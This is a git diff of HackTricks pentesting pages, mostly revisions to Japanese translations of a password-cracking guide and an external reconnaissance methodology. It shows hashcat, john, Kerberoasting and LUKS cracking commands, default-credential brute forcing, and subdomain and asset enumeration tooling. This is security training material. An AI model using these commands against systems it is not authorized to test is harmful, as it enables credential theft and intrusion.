sudo apt-get install -y kpcli #Install keepass tools like keepass2john @@ -649,15 +625,15 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting -Keberoastingは、Active DirectoryのKerberosサービスに対する攻撃手法です。攻撃者は、Kerberosサービスから取得したサービスアカウントのユーザー名を使用して、そのアカウントに関連付けられたサービスのチケットを取得します。その後、攻撃者はそのチケットをオフラインで解読し、サービスアカウントのパスワードを取得します。 +Keberoastingは、Active Directory環境で使用されるサービスアカウントの非対話型攻撃手法です。攻撃者は、サービスアカウントのSPN(Service Principal Name)を取得し、その情報を使用してKerberosチケットを取得します。これにより、攻撃者はオフラインで攻撃を実行し、チケットをクラックしてサービスアカウントのパスワードを取得できます。 ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -### Lucks image +### ラックス イメージ -#### 方法1 +#### メソッド 1 インストール: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash @@ -690,18 +666,18 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` ### Cisco -
+
### DPAPI Master Key -[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)を使用して、その後johnを使用します +[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)を使用して、次にjohnを実行します ### Open Office Pwd Protected Column -パスワードで保護された列を持つxlsxファイルがある場合、それを解除できます: +xlsxファイルにパスワードで保護された列がある場合、それを解除できます: * **Googleドライブにアップロード**して、パスワードが自動的に削除されます -* **手動で**それを**削除**するには: +* **手動で**それを**削除**するには: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -717,7 +693,7 @@ zip -r file.xls . # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -743,22 +719,22 @@ hash-identifier ### **ワードリスト生成ツール** -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、およびルートを持つ高度なキーボードウォークジェネレータ。 +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、およびルートを持つ高度なキーボードウォークジェネレータ ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` ### Johnの変異 -_**/etc/john/john.conf**_を読み、それを設定します。 +_**/etc/john/john.conf**_を読み、それを設定します ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat -#### Hashcat attacks +#### Hashcat攻撃 -* **Wordlist attack** (`-a 0`) with rules +* **ワードリスト攻撃** (`-a 0`) with rules **Hashcat**はすでに**ルールを含むフォルダ**が付属していますが、[**こちらで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。 ``` @@ -766,8 +742,8 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` * **ワードリスト組み合わせ**攻撃 -hashcatを使用して、2つのワードリストを1つに組み合わせることが可能です。\ -リスト1に単語**"hello"**が含まれ、2つ目には単語**"world"**と**"earth"**が含まれている場合、`helloworld`と`helloearth`という単語が生成されます。 +hashcatを使用して、**2つのワードリストを1つに組み合わせる**ことが可能です。\ +リスト1に単語**"hello"**が含まれ、2番目には単語**"world"**と**"earth"**が含まれている場合、`helloworld`と`helloearth`という単語が生成されます。 ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -818,79 +794,59 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` -#### Hashcatモード +#### Hashcat モード ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` ## Brute Forcing -Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm and salt as the target hash. These generated hashes are then compared with the target hash to find a match. +Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of letters, numbers, and symbols until the correct one is found. When it comes to cracking Linux hashes stored in the `/etc/shadow` file, brute forcing can be a powerful method to recover passwords. -### Tools and Resources +## ブルートフォース -There are various tools and resources available for brute forcing passwords, such as: - -- **John the Ripper**: A popular password cracking tool that can perform brute force attacks among other techniques. -- **Hashcat**: Another powerful tool for password cracking that supports various algorithms and attack modes. -- **Crunch**: A tool for generating custom wordlists which can be used in brute force attacks. -- **Rockyou.txt**: A common wordlist used in password cracking due to its extensive coverage of common passwords. - -### Best Practices - -When performing brute force attacks on Linux hashes, it is important to consider the following best practices: - -- **Use a strong wordlist**: Utilize wordlists that cover a wide range of possible passwords to increase the chances of success. -- **Optimize attack parameters**: Adjust the attack mode, rules, and other parameters based on the characteristics of the target hash. -- **Monitor system resources**: Brute forcing can be resource-intensive, so monitor CPU and memory usage to avoid crashes or slowdowns. -- **Stay updated**: Keep abreast of new techniques and tools to enhance your password cracking capabilities. +ブルートフォースは、すべての可能な文字、数字、および記号の組み合わせを系統的に試みることによってパスワードを解読するために使用される一般的な技術です。`/etc/shadow`ファイルに保存されているLinuxハッシュを解読する場合、ブルートフォースはパスワードを回復するための強力な手法となり得ます。 ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -## Brute-Force +## Brute Force -Brute-force attacks are a common way to crack passwords. They consist of systematically checking all possible combinations until the correct one is found. Brute-force attacks can be time-consuming but are often effective. +Brute force attacks are a common way to crack passwords. They consist of systematically checking all possible passwords until the correct one is found. This method is time-consuming but effective, especially for weak passwords. ### Tools -There are several tools available for conducting brute-force attacks, such as: +There are several tools available for performing brute force attacks, such as **John the Ripper**, **Hashcat**, and **Hydra**. These tools can be customized to adapt to different scenarios and types of passwords. -- **John the Ripper**: A popular password-cracking tool that can perform brute-force attacks. -- **Hashcat**: Another powerful tool for cracking passwords using brute-force techniques. -- **Hydra**: A versatile password-cracking tool that supports multiple protocols for brute-forcing. +### Techniques -### Methodologies - -When conducting a brute-force attack, it is essential to consider the following methodologies: - -1. **Wordlist**: Using a wordlist can significantly reduce the time required to crack a password by trying known words and combinations first. -2. **Mask Attack**: This method involves creating a mask that represents the password's possible characters and lengths, making the attack more targeted. -3. **Hybrid Attack**: Combining dictionary words with brute-force techniques can increase the chances of cracking complex passwords. - -### Resources - -- **SecLists**: A collection of wordlists for use in brute-force attacks. -- **CrackStation**: An online database of cracked passwords that can be used for password recovery and analysis. -- **Hashes.org**: A community-driven password-cracking site that provides various tools and resources for hash cracking. +Brute force attacks can be optimized by using techniques such as **dictionary attacks**, **mask attacks**, and **hybrid attacks**. These techniques help reduce the time and resources required to crack a password. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` ## Brute Force -Brute force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute force attacks can be time-consuming but are effective against weak passwords. There are tools available that can automate the brute force process, such as John the Ripper and Hashcat. +### Introduction -### Using John the Ripper +Brute force attacks are a common technique used by hackers to crack passwords and hashes. By systematically checking all possible combinations of characters, hackers can eventually find the correct password or hash value. -John the Ripper is a popular password cracking tool that can be used to perform brute force attacks on hashes. It supports various hash types and algorithms, making it a versatile tool for cracking common application hashes. To use John the Ripper, you need to provide it with the hash you want to crack and specify the attack mode (e.g., brute force). +### Methodology -### Using Hashcat +1. **Password Cracking**: Hackers use automated tools to generate and test a large number of passwords until the correct one is found. -Hashcat is another powerful password cracking tool that supports various hash algorithms and attack modes. It can be used to crack common application hashes using brute force or other techniques like dictionary attacks or mask attacks. Hashcat is known for its speed and efficiency in cracking passwords. +2. **Hash Cracking**: Similarly, hackers can use brute force techniques to crack hashed values by generating all possible plaintext inputs and comparing the resulting hashes. -By using tools like John the Ripper and Hashcat, hackers can efficiently crack common application hashes using brute force attacks. It is important for users to use strong and unique passwords to protect against brute force attacks. +3. **Tools**: Various tools such as Hashcat, John the Ripper, and Hydra can be used to perform brute force attacks efficiently. + +4. **Wordlists**: Hackers often use wordlists containing commonly used passwords and phrases to speed up the brute force process. + +### Resources + +- [Hashcat](https://hashcat.net/) +- [John the Ripper](https://www.openwall.com/john/) +- [Hydra](https://github.com/vanhauser-thc/thc-hydra) ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -907,14 +863,14 @@ By using tools like John the Ripper and Hashcat, hackers can efficiently crack c HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出してください -
+
\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 8bd3af3ee..daaf8ad7f 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -9,42 +9,42 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 -
+
-**ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中**!(_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} ## 資産の発見 -> ある企業に属するすべてのものが対象であると言われ、この企業が実際に所有しているものを特定したいと思っています。 +> ある企業に属するすべてのものが対象に含まれていると言われ、この企業が実際に何を所有しているかを把握したいと思っています。 このフェーズの目標は、まず**主要企業が所有する企業**をすべて取得し、その後これらの企業の**資産**をすべて取得することです。これを行うために、以下の手順を実行します: -1. 主要企業の買収を見つけることで、対象となる企業を取得します。 +1. 主要企業の買収を見つけることで、対象に含まれる企業を取得します。 2. 各企業のASN(存在する場合)を見つけることで、各企業が所有するIP範囲を取得します。 3. リバースWhois検索を使用して、最初のエントリ(組織名、ドメインなど)に関連する他のエントリを検索します(これは再帰的に行うことができます)。 -4. `org`および`ssl`フィルターを使用したShodanなどの他のテクニックを使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。 +4. 他の手法(shodan `org`および`ssl`フィルターなど)を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。 ### **買収** -まず最初に、**主要企業が所有する他の企業**を知る必要があります。\ -1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要企業**を**検索**し、「**acquisitions**」を**クリック**することです。そこで、主要企業によって取得された他の企業が表示されます。\ -もう1つのオプションは、主要企業の**Wikipedia**ページを訪れ、**買収**を検索することです。 +まず第一に、**主要企業が所有する他の企業**を知る必要があります。\ +[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要企業**を検索し、「**acquisitions**」をクリックするなどの方法があります。そこで、主要企業によって取得された他の企業が表示されます。\ +他のオプションとしては、主要企業の**Wikipedia**ページを訪れ、**買収**を検索する方法があります。 -> この時点で、対象となるすべての企業を把握しているはずです。それらの資産を見つける方法を考えてみましょう。 +> この時点で、対象に含まれるすべての企業を把握するはずです。それでは、彼らの資産を見つける方法を考えてみましょう。 ### **ASNs** 自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム(AS)**に割り当てられた**一意の番号**です。\ **AS**は、外部ネットワークへのアクセスに対する明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレータで構成されている場合があります。 -企業がどのような**ASNを割り当てているか**を見つけることは興味深いです。これにより、**IP範囲**を見つけることができます。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実行し、これらのIP内の**ドメイン**を検索することが重要です。\ +企業がどのような**ASNを割り当てているか**を見つけることは興味深いです。その企業の**IP範囲**を見つけるために**脆弱性テスト**を実行し、**対象**内のすべての**ホスト**に対して実行し、これらのIP内の**ドメイン**を検索します。\ [**https://bgp.he.net/**](https://bgp.he.net)で企業の**名前**、**IP**、または**ドメイン**で検索できます。\ **企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報(IP範囲とWhois)**は最初のリンクに既に表示されています。 ```bash @@ -52,7 +52,7 @@ HackTricksをサポートする他の方法: amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)のサブドメイン列挙は、スキャンの最後にASNを自動的に集約および要約します。 +また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約および要約します。 ```bash bbot -t tesla.com -f subdomain-enum ... @@ -74,13 +74,13 @@ bbot -t tesla.com -f subdomain-enum ### **脆弱性を探す** -この時点で、**スコープ内のすべてのアセットがわかっている**ので、許可されている場合はすべてのホストに対して **脆弱性スキャナ**(Nessus、OpenVAS)を実行することができます。\ -また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodan のようなサービスを使用して **開いているポートを見つけ**、見つけたものに応じて、この本で実行する可能性のあるいくつかのサービスのペンテスト方法を確認することができます。\ -**また、デフォルトのユーザー名**と**パスワードのリストを用意して**、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) を使用してサービスを**ブルートフォース**することもできます。 +この時点で、**スコープ内のすべての資産**を把握しているので、許可されている場合はすべてのホストに対して **脆弱性スキャナー**(Nessus、OpenVAS)を実行することができます。\ +また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodan のようなサービスを使用して **開いているポートを見つけ**、見つけた内容に応じてこの本を参照して実行されているさまざまなサービスをペンテストする方法を確認することができます。\ +**また、デフォルトのユーザー名**と**パスワード**のリストを用意して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) を使用してサービスを**ブルートフォース**することもできます。 ## ドメイン -> スコープ内のすべての企業とそのアセットがわかっているので、スコープ内のドメインを見つける時が来ました。 +> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時が来ました。 _以下の提案された技術を使用すると、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_ @@ -88,7 +88,7 @@ _以下の提案された技術を使用すると、サブドメインも見つ ### **逆引きDNS** -ドメインのIP範囲をすべて見つけたので、これらの **IPに逆引きDNSルックアップ** を試みて、スコープ内の他のドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 +ドメインのIP範囲をすべて見つけたので、これらの **IPに逆引きDNSルックアップ**を試みて、スコープ内の他のドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -97,7 +97,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` ### **リバースWhois(ループ)** -**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索を実行すると、会社に関連するさらなる資産を見つける**ことができることです(たとえば、同じメールが登場する他のwhoisレジストリ)。\ +**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、それらのフィールドのいずれかで**リバースWhois検索を実行すると**(たとえば、同じメールアドレスが登場する他のwhoisレジストリ)、**会社に関連するさらなる資産**を見つけることができることです。\ 以下のようなオンラインツールを使用できます: * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料** @@ -109,7 +109,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns * [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではない [**DomLink** ](https://github.com/vysecurity/DomLink)を使用してこのタスクを自動化できます(whoxy APIキーが必要です)。\ -また、[amass](https://github.com/OWASP/Amass)を使用して一部の自動リバースWhois検出を実行できます: `amass intel -d tesla.com -whois` +また、[amass](https://github.com/OWASP/Amass)を使用して自動的なリバースWhoisの発見を行うこともできます: `amass intel -d tesla.com -whois` **新しいドメインを見つけるたびに、このテクニックを使用してさらに多くのドメイン名を発見できることに注意してください。** @@ -128,7 +128,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Favicon** -ターゲットに関連するドメインやサブドメインを見つけることができることを知っていましたか?同じfaviconアイコンハッシュを探すことで。これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールがまさにそれを行います。以下は、その使用方法です: +私たちのターゲットに関連するドメインやサブドメインを、同じファビコンアイコンハッシュを探して見つけることができることを知っていましたか?これが、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。以下は、その使用方法です: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -137,7 +137,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s 単純に言えば、favihashを使用すると、ターゲットと同じファビコンアイコンハッシュを持つドメインを発見できます。 -さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、脆弱なウェブテクノロジーのバージョンのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。 +さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、脆弱なウェブテクノロジーの脆弱なバージョンのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。 ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -156,7 +156,7 @@ return fhash ``` ### **著作権 / ユニークな文字列** -同じ組織内の異なるウェブ間で共有される可能性のある**文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"` +同じ組織内の異なるウェブ間で共有される可能性のある文字列を検索します。**著作権文字列**は良い例です。その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"` ### **CRT 時間** @@ -169,11 +169,11 @@ return fhash [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) のようなウェブサイトや[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) のようなツールを使用して、**同じdmarc情報を共有するドメインとサブドメイン**を見つけることができます。 -### **パッシブテイクオーバー** +### **パッシブな乗っ取り** -クラウドプロバイダに属するIPにサブドメインを割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除し忘れることが一般的です。そのため、クラウド(例:Digital Ocean)でVMを起動するだけで、実際にはいくつかのサブドメインを**引き継ぐ**ことができます。 +一般的に、人々はサブドメインをクラウドプロバイダーに属するIPに割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除するのを忘れることがよくあります。そのため、クラウド(例:Digital Ocean)でVMを起動するだけで、実際にはいくつかのサブドメインを**乗っ取ることができます**。 -[**この記事**](https://kmsec.uk/blog/passive-takeover/)では、これについての説明があり、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、それを指すサブドメインレコードをVirustotalで検索するスクリプトが提案されています。 +[**この記事**](https://kmsec.uk/blog/passive-takeover/)では、そのことについての説明があり、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、Virustotalでそれを指すサブドメインレコードを検索するスクリプトが提案されています。 ### **その他の方法** @@ -183,21 +183,21 @@ return fhash すでにIPスペースを所有している組織の名前を知っている場合、`org:"Tesla, Inc."`を使用してShodanでそのデータを検索できます。TLS証明書で新しい予期しないドメインを見つけてください。 -メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得し、その名前を**shodan**で知られているすべてのウェブページの**TLS証明書**内で検索します。フィルター:`ssl:"Tesla Motors"`を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。 +メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得してから、**Shodan**で知られているすべてのウェブページの**TLS証明書**の中からその名前を検索します。フィルターを使用して`ssl:"Tesla Motors"`または[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。 **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder)は、メインドメインに関連する**ドメイン**とその**サブドメイン**を探すツールで、非常に素晴らしいです。 +[**Assetfinder**](https://github.com/tomnomnom/assetfinder)は、メインドメインに関連する**ドメイン**とそれらの**サブドメイン**を探すツールで、非常に素晴らしいです。 -### **脆弱性の検索** +### **脆弱性を探す** -[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録し、会社に通知してください。 +[ドメイン乗っ取り](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録し、会社に通知してください。 -アセットの発見で見つけたIPとは異なる**IPを持つドメイン**を見つけた場合、**Nessus**または**OpenVAS**を使用して**基本的な脆弱性スキャン**を実行し、**nmap/masscan/shodan**でいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\ +アセットの発見で見つけたIPとは異なる**IPを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と**nmap/masscan/shodan**での[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\ _クライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にある場合がありますので、注意してください。_ \ -**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! +**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムのバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得し始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -219,7 +219,7 @@ dnsrecon -a -d tesla.com ``` ### **OSINT** -大量のサブドメインを取得する最速の方法は、外部ソースで検索することです。最もよく使用される**ツール**は以下のものです(より良い結果を得るためには、APIキーを設定してください): +大量のサブドメインを取得する最速の方法は、外部ソースで検索することです。最もよく使われる**ツール**は以下のものです(より良い結果を得るためには、APIキーを設定してください): * [**BBOT**](https://github.com/blacklanternsecurity/bbot) ```bash @@ -268,7 +268,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -次のような、サブドメインを直接的に特定することに特化していないが、サブドメインを見つけるのに役立つ**他の興味深いツール/API**があります: +以下は、サブドメインを直接的に特定することに特化していないが、サブドメインを見つけるのに役立つ可能性がある**他の興味深いツール/API**があります: * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用 ```bash @@ -300,7 +300,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** 特定のドメインからAlienVaultのOpen Threat Exchange、Wayback Machine、Common Crawlに既知のURLを取得します。 +* [**gau**](https://github.com/lc/gau)**:** 特定のドメインからAlienVaultのOpen Threat Exchange、Wayback Machine、Common Crawlに知られているURLを取得します。 ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -330,16 +330,16 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIP履歴を検索するための無料APIを提供しています +* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIPの履歴を検索するための無料APIを提供しています * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用したり、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用したり、このプロジェクトで使用されているスコープにアクセスしたりすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) 